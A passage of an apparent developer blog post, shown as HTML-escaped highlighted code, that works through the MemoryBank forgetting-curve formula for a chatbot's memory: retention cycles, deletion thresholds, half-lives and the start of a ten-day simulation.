&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# 3 days pass
&lt;/span&gt;    &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="n"&gt;R_before&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="c1"&gt;# Recall occurs
&lt;/span&gt;    &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cycle &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cycle&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: Pre-recall R=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R_before&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R_before&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; → Post-recall S=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, R=100%&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Cycle 1: Pre-recall R=0.0498 (5.0%)  → Post-recall S=2, R=100%
# Cycle 2: Pre-recall R=0.2231 (22.3%) → Post-recall S=3, R=100%
# Cycle 3: Pre-recall R=0.3679 (36.8%) → Post-recall S=4, R=100%
# Cycle 4: Pre-recall R=0.4724 (47.2%) → Post-recall S=5, R=100%
# Cycle 5: Pre-recall R=0.5488 (54.9%) → Post-recall S=6, R=100%
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "pre-recall retention" for a memory recalled every 3 days climbs from 5.0% → 22.3% → 36.8% → 47.2% → 54.9%. Same 3-day gap, but accumulated recalls make the memory increasingly resilient.&lt;/p&gt;

&lt;p&gt;This is the &lt;strong&gt;spacing effect&lt;/strong&gt; that Ebbinghaus discovered, naturally embedded in the formula. Repeated review flattens the forgetting curve — that principle, encoded in math.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to Set the Threshold
&lt;/h2&gt;

&lt;p&gt;The MemoryBank paper doesn't specify an exact threshold number. But to implement this, you need to decide: "At what R do we delete a memory?"&lt;/p&gt;

&lt;p&gt;Reframe the question first. "How many days without recall should it take for a memory to be forgotten?"&lt;/p&gt;

&lt;p&gt;The baseline is an S=1 memory (never recalled). How long it survives depends on the threshold.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Time to forget for S=1, by threshold
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="c1"&gt;# R = e^(-t/S) → t = -S * ln(R)
&lt;/span&gt;    &lt;span class="n"&gt;t_forget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Threshold &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → S=1 memory dies after &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t_forget&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; days&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Threshold 0.5  → S=1 memory dies after 0.69 days (~17 hours)
# Threshold 0.3  → S=1 memory dies after 1.20 days (~29 hours)
# Threshold 0.1  → S=1 memory dies after 2.30 days
# Threshold 0.05 → S=1 memory dies after 3.00 days
# Threshold 0.01 → S=1 memory dies after 4.61 days
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Threshold 0.5 means memories vanish in 17 hours. Too aggressive. Yesterday's conversation is already gone today.&lt;/p&gt;

&lt;p&gt;Threshold 0.01 means 4.6 days of survival. Too loose. Meaningless chatter lingers for almost 5 days, wasting memory space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The practical sweet spot is 0.05 to 0.1.&lt;/strong&gt; S=1 memories naturally disappear within 2–3 days, while S=3+ memories (recalled twice or more) survive over a week.&lt;/p&gt;

&lt;p&gt;You can also work backwards. If "important memories must survive at least 7 days" is a requirement, you can reverse-engineer S and the threshold.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# "What minimum S is needed to survive 7 days?"
&lt;/span&gt;&lt;span class="n"&gt;target_days&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;

&lt;span class="c1"&gt;# R = e^(-t/S) ≥ threshold
# S ≥ -t / ln(threshold)
&lt;/span&gt;&lt;span class="n"&gt;S_min&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;target_days&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;To have R ≥ 0.1 after 7 days, need S ≥ &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;S_min&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# To have R ≥ 0.1 after 7 days, need S ≥ 3.04
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;S needs to be at least 4 (recalled 3 times) to stay above the 0.1 threshold after 7 days. Tune these parameters to fit your service's characteristics.&lt;/p&gt;

&lt;h2&gt;
  
  
  Thinking in Half-Lives
&lt;/h2&gt;

&lt;p&gt;The most intuitive metric for exponential decay is the &lt;strong&gt;half-life&lt;/strong&gt; — how long until retention drops to 50%.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# R = e^(-t/S) = 0.5
# t_half = S * ln(2) ≈ S * 0.693
&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;t_half&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → half-life = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t_half&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; days&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# S= 1 → half-life = 0.69 days (~17 hours)
# S= 2 → half-life = 1.39 days (~33 hours)
# S= 3 → half-life = 2.08 days (~50 hours)
# S= 5 → half-life = 3.47 days
# S=10 → half-life = 6.93 days (~1 week)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Half-life is directly proportional to S. Double S, double the half-life. Linear relationship.&lt;/p&gt;

&lt;p&gt;A never-recalled memory (S=1) has a half-life of 17 hours. Half gone before the day is over. A twice-recalled memory (S=3) has a half-life of 2 days. Nine recalls (S=10) gets you nearly a week.&lt;/p&gt;

&lt;p&gt;These numbers make MemoryBank's design intent crystal clear. &lt;strong&gt;Topics that come up frequently are remembered longer. One-off mentions fade fast.&lt;/strong&gt; Same pattern as human memory.&lt;/p&gt;

&lt;p&gt;The game analogy here is aggro decay. When a player stops dealing damage to a boss, aggro decays over time. Keep hitting, and aggro stays high and builds. Damage dealt is "recall," aggro value is "retention." Same exponential dynamics.&lt;/p&gt;

&lt;h2&gt;
  
  
  Simulation: The Fate of 5 Memories Over 10 Days
&lt;/h2&gt;

&lt;p&gt;Let's run a real scenario. Five memories, different recall patterns, 10 days.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="n"&gt;THRESHOLD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;

&lt;span class="n"&gt;memories&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;job_change&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lunch_menu&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UE5_bug&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;       &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;weekend_camp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;salary_talk&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;recalls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Recall schedule (by day)
&lt;/span&gt;&lt;span class="n"&gt;recall_schedule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;job_change&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;    &lt;span class="c1"&gt;# Frequent recalls
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lunch_menu&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[],&lt;/span&gt;               &lt;span class="c1"&gt;# Never recalled
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UE5_bug&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;           &lt;span class="c1"&gt;# Occasional recalls
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;weekend_camp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;              &lt;span class="c1"&gt;# Recalled once
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;salary_talk&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="c1"&gt;# Very frequent recalls
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--- Day &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;day&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;memories&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;day&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;born&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

